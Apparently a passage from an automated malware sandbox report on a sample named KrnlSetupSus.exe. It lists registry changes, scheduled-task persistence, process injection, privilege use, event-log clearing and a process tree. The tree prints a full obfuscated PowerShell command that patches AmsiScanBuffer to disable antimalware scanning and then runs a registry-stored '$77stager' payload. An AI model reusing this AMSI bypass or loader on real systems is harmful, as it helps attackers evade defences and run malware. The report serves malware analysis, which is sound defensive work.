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"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 14 Dec 2024 11:59:25 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ijmtmqvqarluek	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe

Modifies registry class 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1460	powershell.EXE
1460	powershell.EXE
1460	powershell.EXE
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1316	dllhost.exe
1316	dllhost.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
224	powershell.exe
224	powershell.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1316	dllhost.exe
1264	powershell.exe
1264	powershell.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1316	dllhost.exe
1316	dllhost.exe
1176	wmiprvse.exe
1176	wmiprvse.exe
1316	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	KrnlSetupSus.exe
Token: SeDebugPrivilege	1460	powershell.EXE
Token: SeDebugPrivilege	1460	powershell.EXE
Token: SeDebugPrivilege	1316	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2300	svchost.exe
Token: SeIncreaseQuotaPrivilege	2300	svchost.exe
Token: SeSecurityPrivilege	2300	svchost.exe
Token: SeTakeOwnershipPrivilege	2300	svchost.exe
Token: SeLoadDriverPrivilege	2300	svchost.exe
Token: SeSystemtimePrivilege	2300	svchost.exe
Token: SeBackupPrivilege	2300	svchost.exe
Token: SeRestorePrivilege	2300	svchost.exe
Token: SeShutdownPrivilege	2300	svchost.exe
Token: SeSystemEnvironmentPrivilege	2300	svchost.exe
Token: SeUndockPrivilege	2300	svchost.exe
Token: SeManageVolumePrivilege	2300	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2240	KrnlSetupSus.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3412	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 3260	4824	Install.exe	84
PID 4824 wrote to memory of 3260	4824	Install.exe	84
PID 4824 wrote to memory of 3260	4824	Install.exe	84
PID 4824 wrote to memory of 2240	4824	Install.exe	85
PID 4824 wrote to memory of 2240	4824	Install.exe	85
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1460 wrote to memory of 1316	1460	powershell.EXE	88
PID 1316 wrote to memory of 612	1316	dllhost.exe	5
PID 1316 wrote to memory of 672	1316	dllhost.exe	7
PID 1316 wrote to memory of 952	1316	dllhost.exe	12
PID 1316 wrote to memory of 316	1316	dllhost.exe	13
PID 1316 wrote to memory of 436	1316	dllhost.exe	14
PID 1316 wrote to memory of 736	1316	dllhost.exe	15
PID 1316 wrote to memory of 948	1316	dllhost.exe	16
PID 1316 wrote to memory of 528	1316	dllhost.exe	17
PID 1316 wrote to memory of 1116	1316	dllhost.exe	19
PID 1316 wrote to memory of 1192	1316	dllhost.exe	20
PID 1316 wrote to memory of 1240	1316	dllhost.exe	21
PID 1316 wrote to memory of 1308	1316	dllhost.exe	22
PID 1316 wrote to memory of 1364	1316	dllhost.exe	23
PID 1316 wrote to memory of 1388	1316	dllhost.exe	24
PID 1316 wrote to memory of 1420	1316	dllhost.exe	25
PID 1316 wrote to memory of 1448	1316	dllhost.exe	26
PID 1316 wrote to memory of 1564	1316	dllhost.exe	27
PID 1316 wrote to memory of 1600	1316	dllhost.exe	28
PID 1316 wrote to memory of 1656	1316	dllhost.exe	29
PID 1316 wrote to memory of 1708	1316	dllhost.exe	30
PID 1316 wrote to memory of 1764	1316	dllhost.exe	31
PID 1316 wrote to memory of 1772	1316	dllhost.exe	32
PID 1316 wrote to memory of 1860	1316	dllhost.exe	33
PID 1316 wrote to memory of 1872	1316	dllhost.exe	34
PID 1316 wrote to memory of 1924	1316	dllhost.exe	35
PID 1316 wrote to memory of 1940	1316	dllhost.exe	36
PID 1316 wrote to memory of 2044	1316	dllhost.exe	37
PID 1316 wrote to memory of 2052	1316	dllhost.exe	39
PID 1316 wrote to memory of 2220	1316	dllhost.exe	40
PID 1316 wrote to memory of 2300	1316	dllhost.exe	41
PID 1316 wrote to memory of 2360	1316	dllhost.exe	42
PID 1316 wrote to memory of 2368	1316	dllhost.exe	43
PID 1316 wrote to memory of 2544	1316	dllhost.exe	44
PID 1316 wrote to memory of 2552	1316	dllhost.exe	45
PID 1316 wrote to memory of 2632	1316	dllhost.exe	46
PID 1316 wrote to memory of 2672	1316	dllhost.exe	47
PID 1316 wrote to memory of 2680	1316	dllhost.exe	48
PID 1316 wrote to memory of 2940	1316	dllhost.exe	49
PID 1316 wrote to memory of 2952	1316	dllhost.exe	50
PID 1316 wrote to memory of 2960	1316	dllhost.exe	51
PID 1316 wrote to memory of 2108	1316	dllhost.exe	52
PID 1316 wrote to memory of 1972	1316	dllhost.exe	53
PID 1316 wrote to memory of 3324	1316	dllhost.exe	55
PID 1316 wrote to memory of 3412	1316	dllhost.exe	56
PID 1316 wrote to memory of 3544	1316	dllhost.exe	57
PID 1316 wrote to memory of 3724	1316	dllhost.exe	58
PID 1316 wrote to memory of 3888	1316	dllhost.exe	60
PID 1316 wrote to memory of 3488	1316	dllhost.exe	62
PID 1316 wrote to memory of 4284	1316	dllhost.exe	65
PID 1316 wrote to memory of 4212	1316	dllhost.exe	66
PID 1316 wrote to memory of 532	1316	dllhost.exe	68

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{16f93da0-7c81-4aca-b719-0e40f312c67e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1316

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1116
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sKzpcWqEiWPT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$eTvtXNMyDctKxj,[Parameter(Position=1)][Type]$lRRxzPwUHw)$hadGweXAfCE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'ss,'+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'a'+'l'+''+[Char](101)+'d'+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+'a'+'s'+'s'+','+'A'+'u'+'t'+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$hadGweXAfCE.DefineConstructor(''+[Char](82)+''+[Char](84)+'Sp'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+'Hi'+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+','+''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$eTvtXNMyDctKxj).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'g'+'e'+'d');$hadGweXAfCE.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+'e'+'w'+''+'S'+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'ual',$lRRxzPwUHw,$eTvtXNMyDctKxj).SetImplementationFlags('Runti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+'d');Write-Output $hadGweXAfCE.CreateType();}$kXwmSJLEyORnv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$kJVOhdapmfgqFz=$kXwmSJLEyORnv.GetMethod(''+[Char](71)+'etPro'+'c'+''+[Char](65)+'d'+'d'+'r'+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bNHBqGLgBRZTBoLQmzA=sKzpcWqEiWPT @([String])([IntPtr]);$klRhwkubnkCuGnQnaMkhIO=sKzpcWqEiWPT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eFpjGSUpwTn=$kXwmSJLEyORnv.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+'d'+'le').Invoke($Null,@([Object](''+'k'+''+'e'+'r'+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$QxSLlbYQEFIrIa=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('L'+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$wtSghmOWSCpAiVpAs=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$eFpjGSUpwTn,[Object]('V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$vDVjXQj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QxSLlbYQEFIrIa,$bNHBqGLgBRZTBoLQmzA).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$FiGdBjuJTcGJNKdko=$kJVOhdapmfgqFz.Invoke($Null,@([Object]$vDVjXQj,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$CMPhqddnMe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,4,[ref]$CMPhqddnMe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FiGdBjuJTcGJNKdko,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wtSghmOWSCpAiVpAs,$klRhwkubnkCuGnQnaMkhIO).Invoke($FiGdBjuJTcGJNKdko,[uint32]8,0x20,[ref]$CMPhqddnMe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1460
- C:\ProgramData\ntoskrnl.exe
  C:\ProgramData\ntoskrnl.exe
  2⤵
  - Executes dropped EXE
  PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1364
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1940

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2544

C:\Windows\system32\svchost.exe
